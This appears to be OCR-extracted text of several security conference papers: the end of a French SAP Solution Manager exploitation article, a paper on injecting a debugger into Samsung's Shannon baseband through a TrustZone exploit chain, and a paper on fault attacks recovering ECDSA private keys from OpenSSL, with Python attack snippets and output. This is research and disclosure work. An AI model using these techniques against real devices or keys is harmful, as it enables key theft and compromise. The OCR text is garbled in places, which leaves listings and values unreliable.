
8 Conclusion

Finalement, en combinant 1’exploitation des vulnérabilités décrites
dans cet article il fut possible d’exécuter des commandes OS & distance,
sans authentification, en tant qu’utilisateur administrateur de ’agent.
Puis nous avons pu extraire et déchiffrer les identifiants critiques du SAP
Solution Manager.

Par cet article j’espere avoir démontré 'importance d’appliquer les
corrections listées pour le SAP Solution Manager. Mais aussi avoir montré,
par un exemple concret, le cheminement possible dans la recherche de
vulnérabilités sur des composants similaires.
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Abstract. Modern basebands are an interesting topic for reverse engi-
neers. However, the lack of debugger for these components makes this
work harder.

This article presents how a 1-day vulnerability in Samsung Trustzone can
be used to rewrite the Shannon baseband memory and install a debugger
on a Galaxy S7 phone. The details of the debugger development are
explained and a demonstration will be done by using specific breakpoints
to extract interesting informations.

1 Introduction

In 2020, smartphones are used by everyone and have become ones of
the most targeted devices. However, phone manufacturers put a lot of
effort into securing them by hardening kernel, browsers, and every binary
running on the application processor.

As a consequence, researchers began looking for vulnerabilities in other
components such as Wi-Fi firmware, Bluetooth firmware, or basebands [2,
4,5] which became easier targets.

This presentation focuses on the baseband component which is used
by a modern phone to connect to cellular networks (2G, 3G, 4G and even
5G).

Another motivation for a researcher may have been the fact that
several smartphone’s basebands are a target for the mobile pwn2own !
competition. During the last 3 years, the team Fluoroacetate has been
able to exploit a vulnerability in the Samsung baseband called Shannon.

The Shannon’s real-time operating system is relatively big, and many
tasks are involved to provide a connection to the cellular network. The
functioning is quite complex to understand, and no debugger is available
to do dynamic analysis of the OS/Tasks.

This presentation covers the Shannon’s architecture, and how a debug-
ger can be implemented on top of that.

1. https://wuw.zerodayinitiative.com/Pwn20wnTokyo2019Rules.html
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2 Related work

In 2012, Guillaume Delugre has presented a debugger of Qualcomm’s
baseband running on a 3G USB stick [3]. The debugger code is available
online? and has been used as inspiration for doing our research.

Comsecuris published some script to perform static analysis on Shan-
non Firmware image 3 [4].

3 Shannon architecture

The component studied in this paper is the Communication Processor
(CP) developed by Samsung and known as Shannon. The firmware provided
by Samsung runs on a dedicated processor which is based on ARM Cortex-
R7. It is used on all non-US Samsung phones (US-Phones use Qualcomm
chips).

The code running on the baseband processor is responsible for handling
the full mobile phone stack: 2G-5G, communication with the Application
Processor (AP), communication with SIM cards.

The file modem.bin provided in Samsung’s firmwares is the code
that runs on the baseband. It can be easily loaded in IDA in order
to start reverse engineering. Previously, this file was stored encrypted and
decrypted at runtime but this is not the case anymore, recent firmwares
being in cleartext.

3.1 Shannon operating system

The baseband runs a Real Time OS that switches between tasks. Each
task is dedicated to a particular function such as communicating with the
application processor, handling a radio layer, etc.

Each task has the same structure. Every necessary component is
initialized first and then runs a message loop waiting for events from other
tasks. The communication between tasks is done using a mailbox system
which allows reading or writing based on a mailbox ID. The figure 1 shows
a simplified example of communication between tasks.

Tasks related to radio messages are interesting when looking for vul-
nerabilities. Indeed; they can easily be found in the firmware by following
the strings <RADIO MSG>.

2. https://code.google.com/archive/p/qcombbdbg/
3. https://github.com/Comsecuris/shannonRE
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| process_msg(..) |

put_msg(0x37) |

TASK (ID : 0x13)

task_entry_point

task_entry_point

L

Y

0x13

0x37

Mailboxes

BASEBAND

TASK (ID : 0x37)

3.2 Tasks scheduling

Fig. 1. Mailboxes used for inter tasks communications

In order to debug a stand alone task running in the RTOS, the
mechanism responsible for scheduling tasks as been reversed engineered.
The task structure has been studied and the following offsets of interest

are used by the developer.

00000000
00000004
00000008
0000000C
0000000E
00000010
[...]

00000018
0000001C
00000020
00000024
00000028
0000002C
00000030
00000034
[...]

next_task
prev_task
task_magic
id_plus_1
id
field_10
sched_grp

sched_id
sched_grp_ptr

DCD
DCD
DCB
DCW
DCW
DCW

DCD
DCD
DCD

NN N D N

?
?
?

task_start_fn_ptr DCD

stack_top
stack_base
stack_ptr
running_or_not

DCD
DCD
DCD
DCD

?

?
i
?

dup (7?)
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0000004C saved_stack_ptr DCD 7

[...]

0000005C task_name DCB 8 dup(?)
[...]

Listing 1. Example of logs

A list of tasks is saved by the RTOS at the address 0204802654 and
the id of the current task is saved at the address 0z04800FES.

All these informations are used to pass on tasks related information
to the gdbserver stub and to enable thread debugging.

3.3 AP-CP Communications

Communications between the application processor and the baseband
processor are done using shared memories and mailboxes. Mailboxes are
used for one-way communications, some of them are used for CP to AP
communications while some others are used for AP to CP communications.

Mailboxes notify (using an interrupt) the other processor and send a
32-bit value. Sixty-four mailboxes are available, but only twenty are used
in the Galaxy S7.

The baseband and the Linux kernel use a protocol called SIPC5 to?
communicate. The protocol has multiple channels; the Linux driver acts
as a demultiplexer to dispatch these channels to user-space programs.
Samsung publishes the kernel source code, it is therefore simple to study.

Most communications are handled by 2 processes on the AP:

— c¢bd: this process is responsible for the boot and initialization of

the baseband firmware.

— rild: this process handles baseband communications after the base-

band starts.

3.4 Boot

The baseband boot is driven by the cbd process and operates as follows
(simplified):

— The MODEM firmware image is read from the internal flash mem-
ory. This image is parsed to get two major parts: BOOTLOADER
and MAIN.

— The BOOTLOADER part is sent to the kernel with the
I0CTL _MODEM _XMIT BOOT ioctl. This part is copied
in the future baseband bootloader physical memory address
(0xF0000000* on the GST).

4. All physical addresses can be found in the Linux Device-Tree.
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— The MAIN part is sent to the kernel. This part is copied in the
future baseband physical memory address (0zF'0000000 + 0x10000
on the GS7).

— c¢bd emits the IOCTL _SECURITY REQ ioctl. This ioctl is used
to emit an SMC call to the Secure Monitor. The Secure Monitor is
the most privilegied code running in the AP.

— The Secure Monitor marks the baseband memory zone (BOOT-
LOADER and MAIN) as secure memory in order to prevent modi-
fication from the non-secure world (i.e Linux Kernel).

— The Secure Monitor verifies the signature of the BOOTLOADER
and MAIN parts of the baseband firmware.

— The Secure Monitor configures the baseband processor. As part of
this configuration, the physical memory reserved for the baseband
(0zF0000000 on GST7) is set to be the baseband main memory.

— If all the previous steps succeeded the c¢bd emits the
1I0CTL _MODEM _ON ioctl to start the baseband processor.

During its initialization, the baseband firmware configures the Cortex-

R7 Memory Protection Unit (MPU) to restrict access to memory zones.

The Cortex-R7 core does not provide advanced memory management

features like address translation.

4 Debugger injection

All the injection steps are performed by exploiting a vulnerability
in the application processor which allows to write the memory shared
between AP and CP. This memory is used by the baseband to store the
MAIN part of its firmware.

4.1 Exploit a 1-day vulnerability

As seen in the baseband boot section, the bootloader memory is
signed by Samsung, and the memory is marked secure before checking the
signature.

To be able to modify the baseband code, two methods can be explored:

— Find a vulnerability in the baseband itself and try to bypass the
MPU from here in order to patch the code. This method is base-
band’s firmware dependant.

— Find a vulnerability in the application processor software to gain
the ability to modify the secure memory. This method depends
on the AP software version, but not on the baseband’s firmware
version.
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The second method was chosen as a 1-day vulnerability can be used
and the debugger will not depend on the baseband version.

Quarkslab recently disclosed a chain of vulnerabilities in the Trusted
Execution Environment which allows gaining code execution in a secure
driver on the Samsung Galaxy S7 Exynos [6]. Samsung did not imple-
ment correctly the anti-rollback mechanism, thus the exploit chain is
still applicable to up-to-date phone by loading the old driver and trusted
applications.

Trusted Execution Environment The Galaxy S7 (G930F) uses Kinibi
as Trusted Execution Environment (TEE). Many good descriptions of its
internals can be found online, so only the required knowledge is covered
by this document. Readers are strongly encouraged to read the full ex-
planation given by Quarkslab on the TEE internals/exploitation in their
presentation.

Kinibi is a small operating system built by Trustonic® running in
Secure World which provides security functionalities to the Normal World
OS and applications. The segmentation between secure and non-secure
world relies on ARM TrustZone technology as seen on figure 2.

Kinibi is composed of multiple components:

— The microkernel (MTK), which runs at the S-EL1 exception level;

— The main task (RTM), which runs at the S-ELO exception level;

— Secure drivers are running at the S-ELO exception level;

— Trusted Applications are running at the S-ELO exception level,

5

The microkernel provides a set of system calls to userland applications
(RTM, TAs, drivers). These system calls are filtered depending on which
components perform the call.

Trusted Applications can only call a limited part of these syscall:
basically no communication with underlying components (no SMC), no
direct memory mapping. Only basic syscalls and IPCs to secure drivers
are allowed.

TA Trusted Applications can be reached from Android allowed applica-
tions through a Linux driver and a set of SMCs forwarded by the Secure
Monitor to the TEE.

TAs implement a loop for incoming messages which waits for the
notification from Normal World (NW), handles the messages, and notifies
the NW that a response is available.

5. https://www.trustonic.com/
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Fig. 2. Aarch64 exception levels

Messages are exchanged through a shared memory.

The SSEM Trusted Application contains a trivial vulnerability inside
one of the command handler, a stack-based buffer overflow.

This TA is built without stack cookies and TEE does not provide
security mechanisms like ASLR / PIE, therefore the exploitation is quite
straightforward.

Since Trusted applications cannot change attributes on memory pages
to mark them as executable, the exploitation is done with a ROP chain.

A ROP chain is used to gain the ability to perform arbitrary IPC calls
to secure drivers.

Secure Driver Like TA, Secure Drivers implement a loop for incoming
IPC messages. Messages are memory pages shared between the TA and
the driver. When a message arrives, the driver maps the TA message
memory in its own memory virtual space.

Like the SSEM TA, the VALIDATOR driver contains a trivial vulner-
ability in one of the IPC message handler, a stack-based buffer overflow.

This driver is built without stack cookies, so the exploitation is quite
straightforward.

Secure Drivers are way more privileged than Trusted Application; they
can for example invoke syscall to:

— Map physical memory (inside a whitelist)

— Call other components by performing Secure Monitor Calls
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Secure Monitor The Secure Monitor is the most privileged piece of
software in the ARM TrustZone architecture. It runs at the EL3 exception
level, and it is responsible for handling Secure Monitor Calls and for the
switch from Normal World to Secure World.

From the secure driver, there are lot of ways to gain the ability to
patch the Secure Monitor/baseband (mmap of S-EL1 components, SMC
calls reserved to secure world, ...). There are no public vulnerability and
exploit to achieve this part.

In order to modify the baseband code from the application processor,
two Secure Monitor patches are applied:

— Signature check is disabled in order to load a modified baseband

bootloader;

— When the baseband is copied, the memory is not marked as secure.

4.2 Baseband code injection

Baseband memory zones The baseband memory layout is composed
of:

— The bootloader part is mapped at address 0;

— The main code is mapped at the address 0x40000000 and is hosted
on a physical memory shared with the application processor;

— The cortex-R7 provides a Tightly Coupled Memory (TCM). This
memory zone is not shared with the application processor, and is
used for low latency and time predictability. The baseband uses
this memory, and copies the code from the main part when the
baseband is being initialized.

Injection Since the monitor has been patched to remove integrity /au-
thenticity check of the baseband image, a patched baseband image can be
loaded into the communication processor.

This image includes the debugger host code and the modified interrupt
handlers.

After the baseband starts, all of the required memory patches are then
applied from the debugger host code (this allows for example modifying
TCM memory which is not available to the application processor).

The baseband debugger code can also be injected after the baseband
starts, but since there is no debugger code prior to that point to per-
form cache eviction operations, this may cause issues with the cortex-R7
caches. Modified interrupts handlers are not taken immediately after the
modification.
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5 Debugger Development

This section covers the development of the debugger. Two main compo-
nents are involved: a payload that runs on the baseband itself and a server
that runs on the application processor (AP) which provides a gdb-server
interface.

The baseband payload is compiled to run in the Cortex-R7 processor
(CP). It is responsible for communications with the server, handling all
the interrupts and providing useful primitives in order to read and write
memory and registers.

5.1 Interrupts Handler

To handle breakpoints, invalid memory accesses, invalid instructions
etc., the debugger must be able to handle all the interruptions.

In ARM architecture, there is a vector table at the entry point of the
firmware responsible for handling all exceptions. The list of vectors can
be seen in figure 3.

Normal High vector address Exception

Vector offset

0x0 0xFFFF0000 Not used

0x4 0xFFFF0004 UNDEFINED instruction
0x8 0xFFFF0008 Supervisor Call

oxC 0xFFFF000C Prefetch Abort

0x10 O0xFFFF0010 Data Abort

0x14 0xFFFF0014 Not used

0x18 0xFFFF0018 IRQ interrupt

0x1C 0xFFFF001C FIQ interrupt

Fig. 3. Arm exception vector table
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When installing the debugger, the aim is to rewrite all the handlers
to redirect the execution flow to the code of the debugger to handle all
exceptions.

An example of the use of these handlers is presented in Figure 4
regarding how breakpoints are handled.

feset fake reset
wRgehiRedRstrHelon fake undefined instruction .
supendsorcall fake supervisor call -
> B aber > fake prefetch abort BREAKPOINT
aataabon fake data abort ARDEEE
wRgehiRedRstrHelon fake undefined instruction
1RG-Hnterupt fake IRQ interrupt
PREFETCH P i
ABORT Fo-tarropt fake FIQ interrupt
NEXT COMMAND
BREAKPOINT
HANDLER
BEPT
<4
-
Debugger client on
Function Debugger Payload Application Processor
Baseband Memory

Fig. 4. Breakpoint handling

5.2 Communication

The communication between the injected code in the baseband and the
debugger server in Android userland relies on the same mechanisms used
by the Linux kernel to communicate: shared memories and mailboxes.

A Linux kernel module allows reading and writing on shared memories
from Linux userland. A set of joctls is used to send messages through
mailboxes.

Mailboxes are an easy way to trigger an interrupt in the baseband
side. The IRQ interruption handler allows jumping on the injected code,
and getting commands from the debugger server.

The TRQ generated by the mailbox write is handled by a modified
IRQ handler. This handler uses the Generic Interrupt Controller (GIC) to
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know which IRQ is active. If the current interruption is the mailbox IRQ
(86) the handler uses the EXYNOS MCU_IPC _INTMSR1 registers to
know which mailbox interruption is active, and jumps in the debugger
command handler if the mailbox interruption dedicated to the debugger
is active. In other cases, the modified handler jumps in the original IRQ
handler.

After handling the interruption, the modified handler acknowledges it
to the GIC and calls a function inside the modem firmware to perform
the end of exception routine (rescheduling, etc.).

Thanks to this mechanism based on mailbox IRQ, the debugger server
running on the AP is able to interrupt the execution of the CP, and send
commands to the injected code.

Commands handled here allow the debugger server to read and write
the CP memory, resume a task after a breakpoint, and stop and resume
the full CP OS.

In the other direction (CP->AP), the same mechanism is used. The
Linux driver registers a mailbox IRQ handler for the dedicated mailbox
interruption. Mailbox interrupts received by this handler can be read by
a userland application through a char device.

5.3 Shared memory synchronization

CP and AP share some memory ranges, but each CPU has its own
memory cache system. To be sure that the data is written to the memory
before interrupting the other CPU, the cache has to be flushed / synced.

The cache management in the AP is well known. It’s a standard
ARMvS8 cache managed with dedicated instructions. Before generating
the mailbox interruption, the cache is flushed.

The CP cache management is less known. Reverse engineering the IPC
system in the CP firmware allows to understand the cache mechanisms.
The CP uses an external PL310 cache controller [1]. Cache sync and flush
requires some I/O mapped registers to be written/read. A cache flush is
done before each call to custom interruption handlers, the shared memory
range is flushed on the controller and after each call a cache sync operation
is requested to the controller.

5.4 GDB Server

The debugger server in userland implements the specification of gdb-
server in order to be able to connect a gdb-client. All the required func-
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tionalities such as read or write memory are implemented in the baseband
payload. The Figure 5 describes the flow.

GDE client

Ly

¥

Mormal world client
GDB Server protocol

A

Command Handler Userland

A A :

: ; Kemel g

! Mailboxes

e * lomEm [¢T ‘""
v v

SHARED MEMORY

cpP AP

Fig. 5. Communication between different components

6 Examples of use

6.1 Logs enabling

While reversing the baseband’s firmware, a function responsible for
printing logs has been identified. However, this function is not enabled on
production devices.
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As a demonstration of the debugger, a breakpoint has been set on
this function and a command has been written to print the logs when the
breakpoint is reached.

# ./debug_server

[+ skokokskoskoskokokok ok sk skokokok ok ok kokkok ok k ok kkkk k%% GMC RX EVENT (1-24)
3k 3k >k 3k %k 3k 3k %k 3k 3k %k 3k %k %k 3k %k %k 3%k %k %k 5% %k 3%k %k %k 3%k %k %k 3% %k % % %k % % %k %k k

[+] GET int@HISR :81

[+] xdma is not running

[+] ShmTIMER KICK @ShmTask

[+] gmc_MsgPreProcessNoWait

[+] ####Processing the incoming message####

[+] GET int@HISR :81

[+] xdma is not running

[+] ShmTIMER KICK @ShmTask

Listing 2. Example of logs

6.2 Modification of a NAS packet

A breakpoint can be set on a function responsible for sending NAS ¢
packet to modify the content sent to the core network. This can be used
to test or fuzz this kind of equipment from a controlled device.

Here the example on 6 demonstrates the injection of the string SYNA
in the field p-tmsi of a GMM-Attach-Request packet.

= M5-5G65N LLC (Mobile Station - Serving GPRS Support Node Logical Link Control) SAPI: GPRS Mobility Management
v Address Tield SAPL: LLGMM
» Unconfirmed Information format - UI: UI format: Bx6, Spare bits: Ox©, N{U): 439, E bit: non encrypted frame
FCS: Oxeefacd (correct)
-~ GSM A-I/F DTAP - Attach Accept
¢ Protocol Discriminator: GPRS mobility management messages (8)
DTAP GPRS Mobility Management Message Type: Attach Accept (©x02)
Attach Result
Force to Standby
GPRS Timer
Radio Priority 2 - Radio priority for TOMB
Radio Priority - Radio priority for SMS
Routing Area Identification - RAI: 712-712-1000-0
Mobile Identity - Allocated P-TMSI - TMSI/P-TMSI (0x53594e41)
Element ID: Ox18
Length: 5
1111 .... = Unused: Bxf
... B... = Odd/even indication: Even number of identity digits
.... .180 = Mobile Tdentity Type: TMSI/P-TMSI/M-TMSI (4)
TMSI/P-TMSI: 0x53594edl

02 42 a7 cd 45 26 02 42 ac 11 00 02 08 0O 45 0O B -E&B E
06 44 20 b4 40 B0 40 11 cl cf ac 11 08 82 ac 11 D @@ s s
00 81 B6 90 12 7a 0O 30 58 67 02 04 08 Tf 0O 0O - +z-0 Xg-

0o G0 G0 00 0O B0 08 0B ff 08 @1 c6 dd B8 B2 01

0040 49 44 17 22 17 03 e8 00 [ENEEETICENETES cd  ID-"---- EEEESHR

ba ee

Fig. 6. Injection in a GMM packet

6. https://en.wikipedia.org/wiki/Non-access_stratum
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7 Conclusion

Due to to vulnerabilities on the GS7 phone, it is possible to write in
secure memory and to inject a custom payload on the Shannon Baseband.

A debugger has been written in order to debug potential crashes,
enable hidden functionalities such as logs or inject GPRS traffic.

This tool is provided for the Galaxy S7 but can be adapted to a more
recent Samsung Phone if a public vulnerability allows to writing in secure
memory.

The source code is available on Github.
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Exploiting dummy codes in Elliptic Curve
Cryptography implementations
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Abstract. With the growing interest of Elliptic Curve Cryptography,
in particular in the context of IoT devices, security about both passive
and active attacks are relevant. The use of dummy operations is one
countermeasure to protect an implementation against some passive side-
channel attacks. However, a specific case of fault attacks known as C safe-
errors can reveal those dummy operations, and as a consequence the
secret data related to it. Even if only a few bits are revealed, this can be
enough to break the public-key signature scheme ECDSA.

In this paper, we show how to carry out such an attack on several
implementations in libraries such as OpenSSL and its forks. We give an
example with the assembly optimized implementation of the P-256 curve,
and scripts to help reproduce the attack.

1 Introduction

Elliptic Curve Cryptography is an approach to public-key cryptography
based on the algebraic structure of elliptic curves over finite fields. One
of its advantages against RSA based cryptography is the small size of
its parameters, keys, and also signatures for the Elliptic Curve Digital
Signature Agreement (ECDSA). As such, it is convenient for improving
the efficiency of communications, and there has been a growing interest in
implementing it in low-cost embedding systems such as smart cards, but
can also be found everywhere, such as IoT devices, PCs, servers, as it is
used in mutual authentication and key derivation protocols such as TLS,
SSH, Bitcoin or Signal.

An elliptic curve can be considered, roughly, as a set of points that
have an addition operation with a null point like zero. A private key k
is an integer and its matching public key is the point kP = P + P +
...+ P where P is a point of an elliptic curve. This latter operation,
called scalar multiplication, is critical and must be properly protected. If
the implementation of this operation is too naive, an attacker can find
the private key through passive attacks, consisting of obtaining traces
of execution by analyzing timing, power consumption, electromagnetic
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emanations, etc. For example, if the implementation of the double-and-add
algorithm is not protected, a single trace of power consumption during its
execution can be used by the attacker to distinguish at each step if the
bit of the secret key is 0 (one point doubling) or 1 (one point doubling
and one point addition).

There are various countermeasures against these attacks. One of them
is to use an algorithm that executes the same operations for each bit of
the key, such as the double-and-add-always algorithm. It performs a point
doubling and a point addition for each secret bit by introducing a dummy
point addition when the key bit is 0 to achieve the regularity.

However, these routines are not necessarily protected against active
attacks, such as the use of fault injections to disrupt the execution of
a cryptographic calculation (with various means such as clock glitches,
voltage spikes, laser injection, electromagnetic pulses, etc). Fault attacks
can be exploited in several ways. Usually, the fault injection causes the
cryptographic algorithm attacked to output an erroneous result, which
is then used to deduce the secret key. There is another class of fault
attacks, called C safe-errors [16], consisting only of looking if the fault
injection had an effect or not on the output. Indeed, a fault injection is
induced on an alleged dummy operation, and the result is correct only if
the operation was actually dummy. Consequently, secret bits related to
this operation can be deduced. For instance, a fault on the point addition
in the double-and-add-always algorithm reveals that the secret bit is 0 if
the output is correct, or 1 otherwise.

In ECDSA the value k is an ephemeral key called nonce, and is
unique to each signature. It has been shown that partial knowledge of
this value for several signatures is sufficient to retrieve the private key of
the signer [12]. C safe-error attacks can be used to recover a few bits per
nonce to attack ECDSA. This has been done in [2] where it is applied on
the countermeasures of [3,15] that both introduce dummy operations to
mask the difference between a point doubling and a point addition. In [1],
it is shown that such an attack can also be applied when the Montgomery
ladder algorithm [11] is used for scalar multiplication, since the last point
additions can become dummies when the least significant bits of k are 0s.

In this paper, we carry out C safe-error attacks on ECDSA signa-
tures, but applied to implementations using a dummy point addition
in windowing methods for the scalar multiplication. These can be seen
as a generalization of the double-and-add-always algorithm, and can be
found in several cryptographic libraries. In particular, we show that the
optimized implementation of the P-256 curve with part of the code written
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in assembly is vulnerable. It is present in OpenSSL (since version 1.0.2),
and its forks LibreSSL and BoringSSL. For the latter, we also show that
the default algorithm used with other elliptic curves is vulnerable. As
a consequence, other libraries that rely on them for their cryptographic
operations are vulnerable, such as Fizz (Facebook), S2n (Amazon), and
Erlang/OTP. Given the nature of the algorithms and the model of the
attack, it is practical. A proof of concept with its source code is made
available.

The outline of the paper is as follows. In section 2 we present the
vulnerable implementations and the attack, followed by an example using
our tool. Then, section 3 describes the algorithms used in the vulnerable
implementations, the reasons the attack works, and characteristics of the
P-256 implementation we used to illustrate the attack. We finally propose
mitigations in section 4, and the appendices contain technical details,
including a proof of one of the proposed mitigations.

2 The attack in practice

In this section, we first give a list of vulnerable implementations in
cryptographic libraries, then the model and the steps of the attack. We end
with a presentation of how to use our tool that performs the mathematical
aspects of the attack, with practical results on OpenSSL.

2.1 Vulnerable implementations in libraries

Several libraries rely on the introduction of dummy point additions to
make the scalar multiplication constant-time and with a regular behavior.

This is the case of a specific implementation of the P-256 curve, with
part of the code written in assembly for software optimization [5]. It is
present in the following libraries:

— OpenSSL: introduced in version 1.0.2 for x86_64, and later for x86,
ARMv4, ARMv8, PPC64 and SPARCv9. It is the default implementation
for this curve as long as the option no-asm (that disables assembly
optimization) is not specified at compilation [9].

— BoringSSL: introduced in commit 1895493 (november 2015), but
only for x86_64 [7].

— LibreSSL: introduced in november 2016 in OpenBSD, but is not
present in the re-packaged version for portable use (as of version
3.0.2) [8].
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Additionally, the default algorithm in BoringSSL uses dummy point
additions, and it concerns the curves P-384, P-521 (and P-224 depending
of the compilation options).

In the previously cited implementations the dummy point addition
is related to consecutive bits of the secret scalar, which is important in
the attack. There are other cases where the algorithm uses dummy point
additions, but the corresponding bits are not consecutive, and this would
require several fault injections per execution as was done in [2]. This is
outside the scope of this article.

We note that the current threat model of OpenSSL ! does not include
protection against physical attacks, in particular physical fault injection.
Thus, attacks such as the one presented in this article are not considered
vulnerabilities for OpenSSL.

2.2 Model and steps of the attack

In order to carry out the attack, an attacker must be able to make
a fault on an instruction in a specifc set of potential dummy operations
during an ECDSA signature calculation. He must be able to repeat this
attack several times when a same private key is used. Finally, the result
values must be retrieved by the attacker.

The location of the fault is important, but does not need to be com-
pletely precise, since the potential dummy operations are composed of
many instructions that perform calculations on large integers. Moreover,
the exact nature of the fault is irrelevant, therefore any random transient
fault inducing a computational error will work.

The public key, signatures and signed messages are public, and we
assume these can be acquired by the attacker.

We give below the main steps of the attack:

1. Make a fault on one of the alleged dummy instructions, during the
generation of an ECDSA signature;

2. Collect the signature and the corresponding signed message, then
check it with the public key of the signer and keep it if it is valid,
to be used in step 4;

3. Repeat steps 1-2 until the number of valid signatures reaches a min-
imal value (a few dozens, and depends on the scalar multiplication
algorithm’s characteristic, see section 3);

1. https://www.openssl.org/policies/secpolicy.html
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4. Use our tool presented in 2.3 to attempt a recovery of the private
key from the valid signatures collected in step 2. If the private key
was not recovered, go to step 1 to add valid signatures.

As said above, it is important that the fault is effectively induced in
one of the targeted instructions that does not impact the computation.
A fault made on an instruction other than these can have an impact on
step 4 of the attack. Indeed, the algorithm used to discover the secret key
would fail with a wrong signature taken into account.

Example of scenario. A possible scenario for this attack would be a
device (IoT, smartphone, etc) that performs ECDSA signatures using the
optimized implementation of the P-256 curve on OpenSSL, with a private
key physically hard-coded. The targeted instructions for fault injection
are those that compute the z-coordinate of the output in the last point
addition performed by the scalar multiplication algorithm as is explained
in section 3, and in particular in 3.2 for this implementation.

2.3 Simulation of the attack and tools

We provide a Python script 2 that contains the mathematical tools to
perform the attack, and then we give an application to OpenSSL followed
by results.

Tools for the attack. The script ec.py is written in Python 3 and its
only requirement is to install the external dependency fpyll1l.

The main tool is a function to perform step 4 of the attack to re-
cover the private key. The command is findkey(curve, pubkey_point,
signatures, msb, 1) that returns the value of the private key, or —1
otherwise. The arguments are:

— curve: predefined values are secp192rl, secp224rl, secp256ri,
secp384rl, and secp52irl. These objects are instances of a
Python class Curve implemented in the script in order to per-
form elliptic curve operations, and is necessary to check if one of
the candidates for the private key matches the public key. Other
elliptic curves can be used by giving their explicit parameters.

— pubkey_point: the public key point of the signer, given as two
integers representing its coordinates.

2. https://github.com/orangecertcc/ecdummy
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— signatures: list of valid signatures, where each signature is given
as three integers corresponding to the hash of the signed message,
and the two components of the signature.

— msb and 1: a boolean and an integer whose values depend on the
characteristic of the scalar multiplication algorithm (to indicate
if the 1 most significant bits (msb=True) or 1 least significant bits
(msb=False) of the nonces used to generate the signatures in the
list are set to 0, see 3.1).

Finally, we also provide a function to check if a signature is valid, with

the command check_signature(curve, pubkey_point, signature).

Application to OpenSSL. With the scenario given in 2.2, the attacker
retrieves the public key point of the signer stored in the file publickey.pem,
and store it as the variable pubkey_point in listing 1.

text = open(’publickey.pem’, ’r’).read().split(’\n’)

pubkey_bytes = base64.b64decode (text [1] + text [2]) [27:]

pubkey_point = int.from_bytes (pubkey_bytes[:32], ’big’), int.
from_bytes (pubkey_bytes [32:], ’big’)

Listing 1. Converting a public key of the curve P-256 as two integers from a PEM
file.

Then, for each signature generation the attacker makes a fault during
the execution in one of the determined instructions, and retrieves the
signature and the signed message in the files sig.bin and message.txt.
The signature is checked in listing 2, and the valid signatures are kept in
the list valid_signatures.

m = int.from_bytes (sha256 (open(’message.txt’, ’rb’).read()).digest ()
, ’big’)

raw_sig = open(’sig.bin’, ’rb’).read()

rlen = rawl[3]

r = int.from_bytes(raw[4:4+rlen], ’big’)

s = int.from_bytes(raw[6+rlen:], ’big’)

valid = check_signatures(secp256rl, pubkey_point, (m,r,s))
if wvalid:
valid_signatures.append((m,r,s))

Listing 2. Converting the signature and signed message as integers, and verification
with the public key point.

Finally, in listing 3, an attempt to recover the private key can be
made. According to the implementation characteristics given in 3.2 and to
table 2, the parameters msb and 1 in the function findkey must be set to
True and 5, and the number of valid signatures should be greater than 52.
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key = findkey(secp256rl, pubkey_point, valid_signatures, True, 5)
if key != -1:
print (’The private key is {:064x}’.format (key))

Listing 3. Attempt to find the private key from a list of valid signatures.

Results on OpenSSL. The previous example has been tested. First, a
script openssl_p256_attack_simulation.py is used to run an OpenSSL
binary to simulate the fault injection during the execution. This is done
by modifying systematically the output of one of the instructions that
could be dummy in the last point addition in the code of OpenSSL. Then,
a script p256_privatekey_recovery.py uses the tools of ec.py to verify
the signatures and recover the private key.

We give in listing 4 the output of one simulation, where the private
key was recovered from 54 valid signatures.

$ ./openssl_p256_attack_simulation.py ./openssl_altered privkey.pem
SSTIC 2200
Signatures and messages will be stored in the directory SSTIC
Generating 2200 signatures with fault in last point addition...
done

$

$ ./p2b56_privatekey_recovery.py publickey.pem SSTIC
Nb valid signatures: 1 / 51

Nb valid signatures: 2 / 70

Nb valid signatures: 3 / 91

Coo
Nb
Nb

>
valid
valid

signatures:
signatures:

Recovering the key,

Nb valid signatures:

Recovering the key,

Nb valid signatures:

Recovering the key,

SucC

CESS'!

The private key is:

51 / 1836
52 / 1838

attempt 1 with 52 signatures...

53 / 1880

attempt 2 with 53 signatures...

54 / 1885

attempt 3 with 54 signatures...

ba2c97646898ee0cf8ab9673eb2656de76c2ef674454b3609323£f767£9c8759d
Nb signatures valid: 54
Nb signatures total: 1885

Listing 4. Output of our running example on the altered OpenSSL binary.

To give an idea of the number of valid signatures needed in average,
and the number of signature generations attacked, we ran 100 tests and
give the results in table 1. In the majority of cases, the last point addition
is not dummy, so the number of signature generations to attack is far
greater.
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min average max

Number of valid signatures 52 55 58
Number of signatures attacked 1274 1764 2382

Table 1. Number of valid and total number of signatures attacked to recover the
private key out of 100 tests on the assembly optimized implementation of the
P-256 curve in OpenSSL.

3 Technical details

In this section, we first give a general description of the algorithms
used in the vulnerable implementations, and the reasons why the attack
works. Then, we present the characteristics of the assembly optimized
implementation of the P-256 curve based on the code from OpenSSL.

3.1 Why the attack works

We give a description of the windowing methods for scalar multiplica-
tion, where the fault has to be injected during the execution, and why the
attack works.

Scalar multiplication with windowing methods. Windowing meth-
ods process several bits of the scalar at a time. Those are used when
storage is available in order to have precomputed values and decrease the
number of point additions. They consist of three phases:

1. Precomputation: precomputed points are stored in a table (this
phase can be offline);

2. Encoding: the scalar k is split into windows dy, dy, ..., where each
d; comes from several bits of the scalar;

3. Evaluation: the core of the computation of kP: at each iteration
of the loop of the algorithm, a point addition with a precomputed
point that depends on a value d; occurs.

The important parts for the attack are the encoding phase, and the
addition with the precomputed point in the evaluation phase. We target
algorithms that meet the following two conditions:
— the values d; are computed from consecutive bits of the scalar and
can be equal to zero;
— the point addition in the loop is dummy when either of the points
is the null point O of the curve.
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The last case is the consequence that commonly used point addition
formulas do not handle the null point O (they are said to be incomplete).
Therefore a dummy point addition is introduced instead, as in the double-
and-add-always algorithm. This occurs when a value d; is equal to zero,
hence the first condition.

We give in algorithm 2 a 2¥-ary windowing method [4, section 2.2] as
an example where each d; is composed of w consecutive bits of the scalar.

Require: k = (ki—1,...,ko), P, w
Ensure: kP

Precomputation phase
1: for i+ 0to2¥ —1do
2: Tabl[i] + P

Encoding phase
3: m <+ [t/w]
: fori+0tom—1do
5: dl < (kiw+(w71)7 ey kiw+17 k‘iw)Q

W~

Evaluation phase
: R+ Tab[dm_ﬂ
: for i < m — 2 down to 0 do
R+ 2¥R
R + R+ Tab[d;]
return R

Algorithm 2. 2"-ary windowing scalar multiplication algorithm.

Target of the fault injection. Our C safe-error attack consists of
targeting the last point addition that occurs in the evaluation phase of
the algorithm. It is important to know what are the corresponding bits
of the scalar k, which are the number [ of bits, and if they are related
to the most or to the least significant bits. For instance, in algorithm 2,
the last addition corresponds to the w least significant bits of the scalar.
